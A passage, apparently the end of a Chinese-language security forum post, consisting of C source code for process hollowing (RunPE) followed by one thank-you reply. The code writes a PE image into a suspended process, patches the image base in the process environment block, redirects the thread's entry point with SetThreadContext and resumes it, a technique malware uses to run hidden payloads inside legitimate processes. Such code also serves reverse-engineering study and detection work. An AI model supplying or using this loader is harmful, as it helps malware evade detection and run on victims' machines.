        //稍等再说

        //先return 出去吧
        MessageBoxA(0, "申请空间失败", 0, 0);
        TerminateProcess(pi.hProcess, -1);
        return -1;

    }
    else {
        printf("申请空间成功:%x\n", dwPeVirAddr);
    }

    //然后把整个区段都复制写过去
    DWORD dwRealy = 0;
   //首先要重新设置加载基址
    DWORD dwIamgeBase = pPeNtHdr->OptionalHeader.ImageBase;


    if (pPeNtHdr->OptionalHeader.DllCharacteristics == 0x8140)
    {
        WriteProcessMemory(pi.hProcess, (LPVOID)(context.Ebx + 8), (LPCVOID)&(dwPeVirAddr), sizeof(PVOID), &dwRealy);
        printf("OEP实际写入大小:%x\n", dwRealy);
    }
    else {

        WriteProcessMemory(pi.hProcess, (LPVOID)(context.Ebx + 8), (LPCVOID)&(dwIamgeBase), sizeof(PVOID), &dwRealy);
        printf("OEP实际写入大小:%x\n", dwRealy);
    }


    WriteProcessMemory(pi.hProcess, dwPeVirAddr, (LPVOID)(pPeDosHdr), pPeNtHdr->OptionalHeader.SizeOfImage, &dwRealy);
    printf("实际写入大小:%x\n", dwRealy);


    //然后重新设置OEP
    context.Eax = dwIamgeBase+pPeNtHdr->OptionalHeader.AddressOfEntryPoint;

    if (!SetThreadContext(pi.hThread, &context))
    {
        printf("设置线程上下文失败\n");
    }
    else {
        printf("设置线程上下文成功\n");
    }



    //然后重新恢复线程
    printf("准备回复线程\n");

    ResumeThread(pi.hThread);


    TerminateProcess(GetCurrentProcess(), -1);

    return 0;
}

}
最新回复 (1)
13
爱琴海 2018-1-13 20:40
3
感谢楼主分享,期待更多好文章。
返回